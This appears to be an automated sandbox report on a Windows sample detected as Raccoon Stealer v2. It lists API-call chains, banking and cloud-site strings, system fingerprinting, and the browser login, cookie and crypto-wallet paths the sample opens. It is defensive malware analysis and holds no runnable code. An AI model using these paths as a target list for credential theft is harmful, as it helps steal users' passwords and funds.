Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	Code function: 0_2_0040EDAB CreateFileMappingW,CloseHandle,CreateSemaphoreA,OutputDebugStringA,ReleaseSemaphore,SetEnvironmentVariableA,SetEnvironmentVariableA,CreateWaitableTimerA,CreateWaitableTimerA,CancelWaitableTimer,CancelWaitableTimer,CreateWaitableTimerA,OutputDebugStringA,CancelWaitableTimer,SetEnvironmentVariableA,FindFirstFileA,FindClose,CreateSemaphoreA,ReleaseSemaphore,OutputDebugStringA,CreateMutexA,ReleaseMutex,CreateEventA,FindFirstFileW,	0_2_0040EDAB
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	Code function: 0_2_0040C92D CreateWaitableTimerA,RegOpenKeyExA,OutputDebugStringA,SetEnvironmentVariableA,CancelWaitableTimer,OutputDebugStringA,OutputDebugStringA,LocalAlloc,LocalFree,GetLastError,CreateSemaphoreA,OutputDebugStringA,ReleaseSemaphore,RegOpenKeyExA,RegOpenKeyExA,CreateMutexA,CreateMutexA,ReleaseMutex,GetLastError,OutputDebugStringA,OutputDebugStringA,FindFirstFileA,FindClose,CreateEventA,SetEvent,ResetEvent,CreateFileMappingW,SetEnvironmentVariableA,CloseHandle,OutputDebugStringA,GetDesktopWindow,LocalAlloc,RegOpenKeyExA,LocalFree,OutputDebugStringA,GetLastError,GetLastError,FindFirstFileA,FindClose,OutputDebugStringA,SetEnvironmentVariableA,CreateMutexA,GetLastError,CreateFileMappingW,LoadLibraryW,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,SetEnvironmentVariableA,SetEnvironmentVariableA,SetEnvironmentVariableA,GetLastError,LocalAlloc,LocalFree,CreateMutexA,GetLastError,LocalAlloc,GetClientRect,SetStretchBltMode,GetSystemMetrics,GetSystemMetrics,StretchBlt,SelectObject,GetObjectW,CreateMutexA,SetEnvironmentVariableA,SetEnvironmentVariableA,OutputDebugStringA,OutputDebugStringA,FindFirstFileA,FindClose,CreateFileMappingW,CloseHandle,SetEnvironmentVariableA,GetLastError,LocalAlloc,OutputDebugStringA,LocalFree,FindFirstFileA,FindClose,CreateMutexA,SetEnvironmentVariableA,CreateFileMappingW,CloseHandle,SetEnvironmentVariableA,GetLastError,LocalAlloc,CreateFileW,LocalAlloc,LocalAlloc,StrCpyW,WideCharToMultiByte,WideCharToMultiByte,LocalFree,CloseHandle,DeleteFileW,LocalFree,LocalFree,LocalAlloc,LocalAlloc,StrCpyW,LocalAlloc,WideCharToMultiByte,WideCharToMultiByte,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,OutputDebugStringA,CreateMutexA,LocalFree,LocalFree,DeleteObject,DeleteObject,	0_2_0040C92D
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	Code function: 0_2_0040EBB1 RegOpenKeyExA,CreateSemaphoreA,SetEnvironmentVariableA,ReleaseSemaphore,RegOpenKeyExA,RegOpenKeyExA,OutputDebugStringA,CreateSemaphoreA,ReleaseSemaphore,CreateEventA,SetEvent,ResetEvent,LocalAlloc,LocalFree,CreateWaitableTimerA,CreateWaitableTimerA,CancelWaitableTimer,FindFirstFileA,FindClose,CreateFileMappingW,CloseHandle,OutputDebugStringA,CreateMutexA,ReleaseMutex,RegOpenKeyExA,CreateWaitableTimerA,GetLastError,GetLastError,CancelWaitableTimer,GetLastError,GetCurrentProcess,OpenProcessToken,GetTokenInformation,GetLastError,GlobalAlloc,GetTokenInformation,ConvertSidToStringSidW,lstrcmpiW,GlobalFree,	0_2_0040EBB1
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	Code function: 0_2_0040C6B4 RegOpenKeyExA,CreateSemaphoreA,OutputDebugStringA,CreateSemaphoreA,GetLastError,ReleaseSemaphore,CreateEventA,SetEvent,ResetEvent,LocalAlloc,LocalFree,RegOpenKeyExA,CreateSemaphoreA,ReleaseSemaphore,CreateWaitableTimerA,CreateWaitableTimerA,CancelWaitableTimer,CancelWaitableTimer,FindFirstFileA,FindClose,CreateWaitableTimerA,OutputDebugStringA,CancelWaitableTimer,GetLastError,StrStrW,StrStrW,LocalAlloc,LocalFree,CreateMutexA,SetEnvironmentVariableA,ReleaseMutex,OutputDebugStringA,OutputDebugStringA,OutputDebugStringA,CreateWaitableTimerA,CreateWaitableTimerA,CancelWaitableTimer,CreateWaitableTimerA,SetEnvironmentVariableA,CancelWaitableTimer,CreateSemaphoreA,CreateSemaphoreA,ReleaseSemaphore,SetEnvironmentVariableA,CreateSemaphoreA,ReleaseSemaphore,RegOpenKeyExA,lstrlenW,LocalAlloc,StrCpyW,LocalFree,	0_2_0040C6B4
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	Code function: 0_2_00402737 FindFirstFileW,lstrcmpW,LocalAlloc,PathCombineW,LocalFree,FindNextFileW,FindClose,StrStrW,StrStrW,LocalAlloc,PathCombineW,lstrlenW,	0_2_00402737
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	Code function: 0_2_0041123A LocalAlloc,LocalAlloc,SHGetSpecialFolderPathW,lstrcmpW,StrCpyW,StrCpyW,FindFirstFileW,LocalFree,LocalFree,lstrcmpW,lstrcmpW,LocalAlloc,PathCombineW,lstrcmpW,LocalAlloc,PathCombineW,LocalAlloc,LocalAlloc,SHGetSpecialFolderPathW,lstrlenW,LocalAlloc,StrCpyW,WideCharToMultiByte,LocalAlloc,WideCharToMultiByte,LocalAlloc,CopyFileW,CreateFileW,GetFileSize,LocalAlloc,StrCpyW,LocalFree,DeleteFileW,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,FindNextFileW,LocalFree,LocalFree,FindClose,	0_2_0041123A
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	Code function: 0_2_004028BE FindFirstFileW,lstrcmpW,LocalAlloc,PathCombineW,LocalFree,FindNextFileW,FindClose,StrStrW,lstrlenW,LocalAlloc,PathCombineW,lstrlenW,	0_2_004028BE
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	Code function: 0_2_004049C1 LocalAlloc,FindFirstFileW,lstrcmpW,LocalAlloc,PathCombineW,LocalAlloc,CopyFileW,CreateFileW,GetFileSize,LocalAlloc,StrCpyW,WideCharToMultiByte,LocalAlloc,LocalAlloc,WideCharToMultiByte,StrCpyW,LocalFree,LocalFree,LocalFree,LocalFree,FindNextFileW,FindClose,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,DeleteFileW,	0_2_004049C1
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	Code function: 0_2_004077E4 LocalAlloc,FindFirstFileW,StrStrW,LocalAlloc,PathCombineW,LocalAlloc,CopyFileW,CreateFileW,GetFileSize,LocalAlloc,StrCpyW,WideCharToMultiByte,LocalAlloc,LocalAlloc,WideCharToMultiByte,StrCpyW,LocalFree,LocalFree,LocalFree,LocalFree,FindNextFileW,FindClose,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,DeleteFileW,	0_2_004077E4
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	Code function: 0_2_00404720 LocalAlloc,FindFirstFileW,lstrcmpW,LocalAlloc,PathCombineW,LocalAlloc,CopyFileW,CreateFileW,GetFileSize,LocalAlloc,StrCpyW,WideCharToMultiByte,LocalAlloc,LocalAlloc,WideCharToMultiByte,StrCpyW,LocalFree,LocalFree,LocalFree,LocalFree,FindNextFileW,FindClose,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,DeleteFileW,	0_2_00404720

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe

0_2_0040714A

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe

Code function: 0_2_0040DD10 LocalAlloc,LocalAlloc,lstrlenA,lstrcpyn,lstrlenA,lstrcpyn,lstrlenA,lstrcpyn,GetSystemInfo,wsprintfW,LocalFree,LocalFree,LocalFree,LocalFree,

0_2_0040DD10

Source: D3Ukr6dE65M0.0.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696487552
Source: SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2244966319.0000000000647000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2248226612.0000000000647000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2186791851.000000000064D000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2244674737.0000000000647000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2245299707.0000000000647000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2246582942.0000000000647000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2186677991.000000000064D000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2208093450.000000000064D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWH*i%SystemRoot%\system32\mswsock.dll
Source: D3Ukr6dE65M0.0.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696487552\|UE
Source: D3Ukr6dE65M0.0.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696487552u
Source: D3Ukr6dE65M0.0.dr	Binary or memory string: discord.comVMware20,11696487552f
Source: D3Ukr6dE65M0.0.dr	Binary or memory string: bankofamerica.comVMware20,11696487552x
Source: D3Ukr6dE65M0.0.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696487552}
Source: SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2253842671.000000000068C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2246300838.000000000068C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2186791851.000000000068C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000002.3418647104.000000000068C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2260346741.000000000068C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2261702063.000000000068C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2208093450.000000000068C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2248659704.000000000068C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: D3Ukr6dE65M0.0.dr	Binary or memory string: ms.portal.azure.comVMware20,11696487552
Source: D3Ukr6dE65M0.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552
Source: D3Ukr6dE65M0.0.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696487552
Source: D3Ukr6dE65M0.0.dr	Binary or memory string: global block list test formVMware20,11696487552
Source: D3Ukr6dE65M0.0.dr	Binary or memory string: tasks.office.comVMware20,11696487552o
Source: D3Ukr6dE65M0.0.dr	Binary or memory string: AMC password management pageVMware20,11696487552
Source: D3Ukr6dE65M0.0.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696487552d
Source: D3Ukr6dE65M0.0.dr	Binary or memory string: interactivebrokers.comVMware20,11696487552
Source: D3Ukr6dE65M0.0.dr	Binary or memory string: dev.azure.comVMware20,11696487552j
Source: D3Ukr6dE65M0.0.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696487552]
Source: D3Ukr6dE65M0.0.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696487552x
Source: D3Ukr6dE65M0.0.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696487552
Source: D3Ukr6dE65M0.0.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696487552h
Source: D3Ukr6dE65M0.0.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696487552z
Source: D3Ukr6dE65M0.0.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696487552~
Source: D3Ukr6dE65M0.0.dr	Binary or memory string: outlook.office365.comVMware20,11696487552t
Source: D3Ukr6dE65M0.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552^
Source: D3Ukr6dE65M0.0.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696487552p
Source: D3Ukr6dE65M0.0.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696487552n
Source: D3Ukr6dE65M0.0.dr	Binary or memory string: outlook.office.comVMware20,11696487552s
Source: D3Ukr6dE65M0.0.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696487552
Source: D3Ukr6dE65M0.0.dr	Binary or memory string: turbotax.intuit.comVMware20,11696487552t
Source: D3Ukr6dE65M0.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696487552x
Source: D3Ukr6dE65M0.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696487552}
Source: D3Ukr6dE65M0.0.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696487552

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	API call chain: ExitProcess graph end node			graph_0-3401
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	API call chain: ExitProcess graph end node			graph_0-3489

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe

Code function: 0_2_0040F04B RegOpenKeyExA,CreateSemaphoreA,CreateSemaphoreA,OutputDebugStringA,CreateSemaphoreA,ReleaseSemaphore,FindFirstFileA,FindClose,CreateWaitableTimerA,GetLastError,CancelWaitableTimer,CreateEventA,SetEvent,ResetEvent,CreateFileMappingW,OutputDebugStringA,OutputDebugStringA,CloseHandle,LocalAlloc,LocalFree,CreateSemaphoreA,OutputDebugStringA,ReleaseSemaphore,OutputDebugStringA,LocalAlloc,CreateWaitableTimerA,RegOpenKeyExA,CancelWaitableTimer,LocalAlloc,LocalFree,CreateSemaphoreA,OutputDebugStringA,ReleaseSemaphore,RegOpenKeyExA,CreateWaitableTimerA,SetEnvironmentVariableA,SetEnvironmentVariableA,CancelWaitableTimer,SetEnvironmentVariableA,FindFirstFileA,FindClose,CreateSemaphoreA,ReleaseSemaphore,CreateMutexA,ReleaseMutex,RegOpenKeyExA,SHGetFolderPathW,CreateEventA,SetEvent,ResetEvent,CreateWaitableTimerA,CancelWaitableTimer,OutputDebugStringA,OutputDebugStringA,CreateFileMappingW,RegOpenKeyExA,FindCloseChangeNotification,OutputDebugStringA,OutputDebugStringA,CreateSemaphoreA,ReleaseSemaphore,GetLastError,OutputDebugStringA,CreateWaitableTimerA,GetLastError,CancelWaitableTimer,LocalAlloc,StrCpyW,LocalFree,LocalFree,

0_2_0040F04B

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe

0_2_00401000

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe

Code function: 0_2_0040DD10 cpuid

0_2_0040DD10

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe

Code function: LocalAlloc,LocalAlloc,GetUserDefaultLCID,GetLocaleInfoW,wsprintfW,LocalFree,LocalFree,

0_2_0040DABA

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe

Code function: 0_2_00410440 LocalAlloc,GetUserNameW,

0_2_00410440

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe

Code function: 0_2_0040DBE7 GetTimeZoneInformation,LocalAlloc,wsprintfW,LocalFree,

0_2_0040DBE7

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected Raccoon Stealer v2

Source: Yara match	File source: SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, type: SAMPLE
Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 0.0.SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.3418304827.0000000000412000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.2172081165.0000000000412000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe PID: 5720, type: MEMORYSTR
Source: Yara match	File source: 00000000.00000003.2246300838.000000000068C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2248000293.000000000068C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2186791851.000000000068C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2246708741.000000000068C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2247833378.000000000068C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.3418647104.000000000068C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2247098180.000000000068C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2247710001.000000000068C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2253842671.000000000068C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2248659704.000000000068C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2208093450.000000000068C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2244106577.000000000068C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2245299707.000000000068C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2216146827.000000000068C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2248226612.000000000068C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2260346741.000000000068C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2261702063.000000000068C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2246968570.000000000068C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2244966319.000000000068C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2246450992.000000000068C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2261100666.000000000068C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2244674737.000000000068C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2186677991.000000000068C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2230213331.000000000068C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2207244687.000000000068C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2223211893.000000000068C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2243905572.000000000068C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2251534302.000000000068C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2248914493.000000000068C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2247464359.000000000068C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2244408755.000000000068C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2207869504.000000000068C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2245104755.000000000068C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2247342460.000000000068C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2233693050.000000000068C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2233822452.000000000068C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2233559298.000000000068C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2244559080.000000000068C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2248395447.000000000068C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2247220737.000000000068C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2247585846.000000000068C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2246582942.000000000068C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2246161943.000000000068C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2246835134.000000000068C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2186878241.000000000068C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY

Found many strings related to Crypto-Wallets (likely being stolen)

Source: SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000002.3420029367.0000000003D87000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\*
Source: SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000002.3420029367.0000000003D87000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\ElectronCash\wallets\*
Source: SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000002.3420029367.0000000003D87000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\Electrum\wallets\*
Source: SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2253842671.000000000068C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: wlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;;cache*
Source: SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000002.3418647104.000000000061E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\exodus\*
Source: SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2253842671.000000000068C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: wlts_exodus:Exodus;26;exodus;;partitio,cache,dictionar*
Source: SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000002.3418647104.0000000000670000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\Binance\*
Source: SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000002.3418647104.00000000006F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets\*
Source: SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000002.3420029367.0000000003D87000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\*
Source: SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000002.3420029367.0000000003D87000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\Ledger Live\*

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\0absryc3.default\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\0absryc3.default\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\0absryc3.default\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\0absryc3.default\logins.json	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	File opened: C:\Users\user\AppData\Roaming\exodus\	Jump to behavior
